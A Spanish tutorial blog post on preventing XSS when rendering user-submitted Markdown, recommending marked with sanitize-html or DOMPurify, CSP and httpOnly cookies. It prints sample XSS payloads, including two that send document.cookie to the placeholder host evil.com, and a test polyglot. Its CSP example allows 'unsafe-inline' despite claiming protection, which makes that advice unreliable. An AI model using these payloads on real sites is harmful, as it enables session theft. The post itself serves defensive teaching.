Renderizar Markdown de forma segura: XSS y sanitización
Por qué renderizar Markdown de usuarios sin sanitizar es un vector de XSS, cómo marked + sanitize-html mitigan el riesgo, buenas prácticas.
El día que un usuario rompió nuestro blog con un comentario
Era un martes por la mañana. Un usuario dejó un comentario en nuestro blog que parecía inofensivo: "¡Gran artículo! Me encantó la sección sobre seguridad". Pero ese comentario contenía algo que no veíamos a simple vista: un script oculto que se ejecutaba cada vez que alguien visitaba la página.
El script robaba las cookies de sesión de los visitantes y las enviaba a un servidor externo. No fue hasta que un usuario reportó que su sesión había sido comprometida que descubrimos el problema. El atacante había usado Markdown para inyectar JavaScript malicioso, y nuestro sistema lo renderizaba sin filtrar nada.
Este tipo de ataque se llama XSS (Cross-Site Scripting), y es sorprendentemente fácil de cometer si renderizas Markdown de usuarios sin sanitizar. Este tutorial te enseñará cómo prevenirlo.
¿Qué es XSS y por qué es peligroso?
XSS (Cross-Site Scripting) es un ataque donde un atacante inyecta código malicioso en páginas web que otros usuarios visitan. Hay tres tipos principales:
Stored XSS (el más peligroso)
El código malicioso se almacena en el servidor (base de datos, archivo, etc.) y se ejecuta cada vez que alguien visita la página afectada. Es el tipo que nos afectó: el comentario malicioso estaba en la base de datos y se ejecutaba para todos los visitantes.
Reflected XSS
El código malicioso se refleja inmediatamente en la respuesta del servidor, generalmente a través de parámetros de URL. Por ejemplo: example.com/search?q=<script>alert(1)</script>
DOM-based XSS
El código malicioso se ejecuta en el cliente al manipular el DOM de forma insegura, generalmente a través de innerHTML o eval().
Markdown es un vector perfecto para stored XSS porque:
- Permite HTML incrustado
- Se usa para contenido generado por usuarios (comentarios, posts, foros)
- Se renderiza automáticamente sin que el usuario se dé cuenta
El problema: Markdown permite HTML
Markdown fue diseñado para ser fácil de escribir, pero también permite HTML incrustado. Esto es intencional: si Markdown no soporta algo que necesitas, puedes usar HTML directamente.
El ataque básico
¡Gran artículo! Me encantó la sección sobre seguridad.
<img src="x" onerror="alert('XSS')">
Cuando esto se renderiza, el navegador intenta cargar la imagen. Como src="x" no existe, se dispara el evento onerror, que ejecuta el JavaScript.
El ataque más sofisticado
Este artículo es increíble. <a href="https://example.com" onclick="fetch('https://evil.com/steal?cookie='+document.cookie)">Lee más aquí</a>
Cada vez que alguien hace clic en el enlace, su cookie se envía al atacante.
El ataque invisible
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
Este script se ejecuta automáticamente cuando la página carga, sin que el usuario tenga que hacer nada.
La solución: sanitización HTML
La sanitización es el proceso de limpiar el HTML para eliminar elementos peligrosos mientras preserva el contenido seguro. La idea es simple: permitir HTML seguro (negritas, enlaces, imágenes) pero bloquear HTML peligroso (scripts, iframes, on* events).
marked + sanitize-html: el estándar de facto
marked es la librería más popular para convertir Markdown a HTML. sanitize-html es la librería más popular para sanitizar HTML. Juntas, forman una defensa robusta contra XSS.
Nuestro propio blog de DevToolsHub usa exactamente este patrón en lib/blog.ts:
import { marked } from 'marked';
import sanitizeHtml from 'sanitize-html';
function renderMarkdown(markdownContent) {
// Paso 1: Convertir Markdown a HTML
const html = marked(markdownContent);
// Paso 2: Sanitizar el HTML
const safeHtml = sanitizeHtml(html, {
allowedTags: [
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'b', 'i', 'strong', 'em', 'p', 'br',
'a', 'ul', 'ol', 'li',
'blockquote', 'code', 'pre',
'img', 'table', 'thead', 'tbody', 'tr', 'td', 'th'
],
allowedAttributes: {
'a': ['href', 'title', 'target'],
'img': ['src', 'alt', 'title'],
'code': ['class']
},
allowedSchemes: ['http', 'https', 'mailto'],
allowedSchemesByTag: {
'img': ['http', 'https', 'data']
}
});
return safeHtml;
}
Nuestra herramienta de visor Markdown usa este mismo patrón para garantizar que el Markdown que visualizas es seguro.
Configuración de sanitize-html: qué permitir y qué bloquear
La configuración de sanitize-html es el equilibrio entre seguridad y funcionalidad. Quieres permitir suficiente HTML para que Markdown sea útil, pero no tanto que introduzcas vulnerabilidades.
Tags permitidos
allowedTags: [
// Encabezados
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
// Formato de texto
'b', 'i', 'strong', 'em', 'p', 'br',
// Listas
'ul', 'ol', 'li',
// Bloques especiales
'blockquote', 'code', 'pre',
// Enlaces e imágenes
'a', 'img',
// Tablas
'table', 'thead', 'tbody', 'tr', 'td', 'th'
]
Tags peligrosos que NO permitimos:
script: Obviamente peligrosoiframe: Puede cargar contenido externo no controladoobject,embed: Pueden cargar plugins (Flash, etc.)form,input,button: Pueden usarse para phishingstyle: Puede contener CSS maliciosometa: Puede redirigir o cambiar el charset
Atributos permitidos
allowedAttributes: {
'a': ['href', 'title', 'target'],
'img': ['src', 'alt', 'title'],
'code': ['class'] // Para syntax highlighting
}
Atributos peligrosos que NO permitimos:
on*(onclick, onerror, onload, etc.): Event handlers que ejecutan JavaScriptstyle: CSS inline puede ser peligrosodata-*: A veces usado para exfiltrar datosjavascript:en href: Enlaces que ejecutan JavaScript
Schemes permitidos
allowedSchemes: ['http', 'https', 'mailto'],
allowedSchemesByTag: {
'img': ['http', 'https', 'data'] // data: para imágenes base64
}
Schemes peligrosos que NO permitimos:
javascript:: Ejecuta JavaScriptdata:(excepto en img): Puede ejecutar JavaScriptvbscript: Ejecuta VBScript (IE)file: Accede al sistema de archivos local
Implementación completa en Node.js
Aquí está una implementación robusta que puedes usar directamente:
import { marked } from 'marked';
import sanitizeHtml from 'sanitize-html';
class MarkdownRenderer {
constructor(options = {}) {
this.sanitizeOptions = {
allowedTags: options.allowedTags || [
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'b', 'i', 'strong', 'em', 'p', 'br',
'a', 'ul', 'ol', 'li',
'blockquote', 'code', 'pre',
'img', 'table', 'thead', 'tbody', 'tr', 'td', 'th'
],
allowedAttributes: options.allowedAttributes || {
'a': ['href', 'title', 'target'],
'img': ['src', 'alt', 'title'],
'code': ['class']
},
allowedSchemes: options.allowedSchemes || ['http', 'https', 'mailto'],
allowedSchemesByTag: options.allowedSchemesByTag || {
'img': ['http', 'https', 'data']
},
// Opciones adicionales de seguridad
selfClosing: options.selfClosing || ['img', 'br'],
// Permitir protocolos relativos (//example.com)
allowProtocolRelative: options.allowProtocolRelative || false,
// Transformar URLs relativas a absolutas
transformTags: options.transformTags || {}
};
// Configurar marked para no permitir HTML por defecto
marked.setOptions({
gfm: true,
breaks: true,
headerIds: false
});
}
render(markdown) {
try {
// Paso 1: Convertir Markdown a HTML
const html = marked(markdown);
// Paso 2: Sanitizar el HTML
const safeHtml = sanitizeHtml(html, this.sanitizeOptions);
return safeHtml;
} catch (error) {
console.error('Error rendering markdown:', error);
return '<p>Error al renderizar el contenido.</p>';
}
}
// Versión síncrona para casos donde no necesitas async
renderSync(markdown) {
try {
const html = marked.parse(markdown);
const safeHtml = sanitizeHtml(html, this.sanitizeOptions);
return safeHtml;
} catch (error) {
console.error('Error rendering markdown:', error);
return '<p>Error al renderizar el contenido.</p>';
}
}
}
// Uso
const renderer = new MarkdownRenderer();
const markdown = `
# Título
Este es un **párrafo** con [enlace](https://example.com).
```javascript
console.log('Hola');
`;const html = renderer.render(markdown); console.log(html);
---
## Implementación en el navegador
Para el navegador, necesitas usar versiones que funcionen sin Node.js:
```html
<!DOCTYPE html>
<html>
<head>
<title>Markdown Seguro</title>
<script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sanitize-html/dist/sanitize-html.min.js"></script>
</head>
<body>
<textarea id="markdown-input" placeholder="Escribe Markdown aquí"></textarea>
<button onclick="render()">Renderizar</button>
<div id="output"></div>
<script>
function render() {
const markdown = document.getElementById('markdown-input').value;
// Convertir Markdown a HTML
const html = marked.parse(markdown);
// Sanitizar
const safeHtml = sanitizeHtml(html, {
allowedTags: ['h1', 'h2', 'h3', 'p', 'b', 'i', 'a', 'ul', 'ol', 'li', 'code', 'pre', 'img'],
allowedAttributes: {
'a': ['href'],
'img': ['src', 'alt']
}
});
document.getElementById('output').innerHTML = safeHtml;
}
</script>
</body>
</html>
Casos límite: ataques que parecen seguros pero no lo son
Ataque 1: SVG con JavaScript incrustado
<svg>
<script>alert('XSS')</script>
</svg>
SVG es XML, y puede contener scripts. sanitize-html bloquea esto por defecto, pero si permites la etiqueta svg, necesitas configuraciones adicionales.
Ataque 2: data URLs con JavaScript
<img src="data:text/html,<script>alert('XSS')</script>">
Las data URLs pueden contener HTML completo. sanitize-html bloquea esto por defecto si configuras allowedSchemesByTag correctamente.
Ataque 3: CSS expression (IE)
<div style="width: expression(alert('XSS'))">
IE soporta expression() en CSS, que ejecuta JavaScript. sanitize-html bloquea esto por defecto.
Ataque 4: Unicode bypass
<img src=x onerror=alert(1)>
El atacante puede usar caracteres Unicode para evadir filtros simples. sanitize-html maneja esto correctamente.
Alternativas: DOMPurify
DOMPurify es otra librería popular de sanitización. Es más rápida que sanitize-html para algunos casos, pero tiene un enfoque diferente: trabaja directamente con el DOM del navegador.
import DOMPurify from 'dompurify';
import { marked } from 'marked';
function renderMarkdown(markdown) {
const html = marked(markdown);
const safeHtml = DOMPurify.sanitize(html);
return safeHtml;
}
Ventajas de DOMPurify:
- Más rápido (usa el DOM nativo del navegador)
- Mantenido activamente por el equipo de Cure53
- Excelente contra ataques sofisticados
Desventajas de DOMPurify:
- Solo funciona en el navegador (no en Node.js sin JSDOM)
- Menos configurable que
sanitize-html
Para Node.js, sanitize-html es generalmente mejor. Para el navegador, ambos son excelentes.
Buenas prácticas adicionales
1. Content Security Policy (CSP)
Añade un CSP header a tu servidor:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'
Esto bloquea scripts externos incluso si XSS logra inyectar algo.
2. HttpOnly cookies
Usa cookies httpOnly para sesiones:
res.cookie('session', sessionId, {
httpOnly: true, // JavaScript no puede leer la cookie
secure: true, // Solo HTTPS
sameSite: 'strict'
});
Incluso si XSS logra ejecutarse, no puede robar la cookie.
3. Validar en el servidor
No confíes solo en la sanitización del cliente. Siempre valida y sanitiza en el servidor también.
4. Rate limiting
Limita el número de posts que un usuario puede crear por minuto. Esto reduce el impacto si alguien logra explotar una vulnerabilidad.
5. Logging y monitoreo
Log todos los intentos de inyección. Si alguien intenta inyectar scripts múltiples veces, bloquea su cuenta.
Herramientas de testing
XSS Polyglots
Un "polyglot" es un payload que funciona en múltiples contextos. Úsalos para probar tu sanitización:
// XSS Polyglot clásico
javascript:///*<svg/*onload=alert(1)>*/
Automated scanners
Herramientas como OWASP ZAP o Burp Suite pueden escanear tu aplicación en busca de vulnerabilidades XSS.
Manual testing
Prueba manualmente con payloads como:
<img src=x onerror=alert(1)>
<script>alert(1)</script>
<a href="javascript:alert(1)">click</a>
<div style="background:url(javascript:alert(1))">
Checklist para Markdown seguro
Antes de permitir que los usuarios envíen Markdown:
☐ Sanitiza siempre en el servidor
- No confíes en la sanitización del cliente
- Usa
sanitize-htmloDOMPurify
☐ Configura sanitize-html correctamente
- Solo permite los tags que necesitas
- Solo permite los atributos que necesitas
- Bloquea schemes peligrosos
☐ Implementa CSP
- Añade headers CSP a tu servidor
- Configura script-src y style-src correctamente
☐ Usa cookies httpOnly
- Las cookies de sesión deben ser httpOnly
- Usa secure y sameSite
☐ Prueba con payloads reales
- Usa XSS polyglots
- Prueba manualmente con payloads comunes
- Usa scanners automatizados
☐ Monitorea y logea
- Log intentos de inyección
- Bloquea usuarios sospechosos
- Revisa logs regularmente
Conclusión: la seguridad es un proceso, no un producto
Renderizar Markdown de forma segura no es difícil, pero es fácil hacerlo mal. La diferencia entre un sistema seguro y uno vulnerable está en los detalles: qué tags permites, qué atributos permites, qué schemes permites.
El patrón marked + sanitize-html que usamos en DevToolsHub (y que nuestra herramienta de visor Markdown usa) es un estándar probado en batalla. Pero no es suficiente por sí solo. Necesitas CSP, cookies httpOnly, validación en el servidor, y monitoreo constante.
La próxima vez que alguien te diga "es solo Markdown, qué puede salir mal", ya sabes la respuesta: mucho. Pero con las herramientas y estrategias correctas, es completamente manejable.
Renderizar Markdown de forma segura no es una opción, es un requisito. Tus usuarios confían en ti para proteger su información. No les decepciones.
Artículos relacionados
Unix Timestamps y Zonas Horarias: el bug que aparece solo en producción
Epoch time, UTC vs zona local, el problema del año 2038, errores comunes al comparar fechas en JS/SQL.
XML a JSON: la migración que todo backend legacy necesita hacer bien
Diferencias estructurales XML vs JSON, trampas de la conversión (atributos, namespaces, arrays vs objetos), casos reales de SOAP a REST.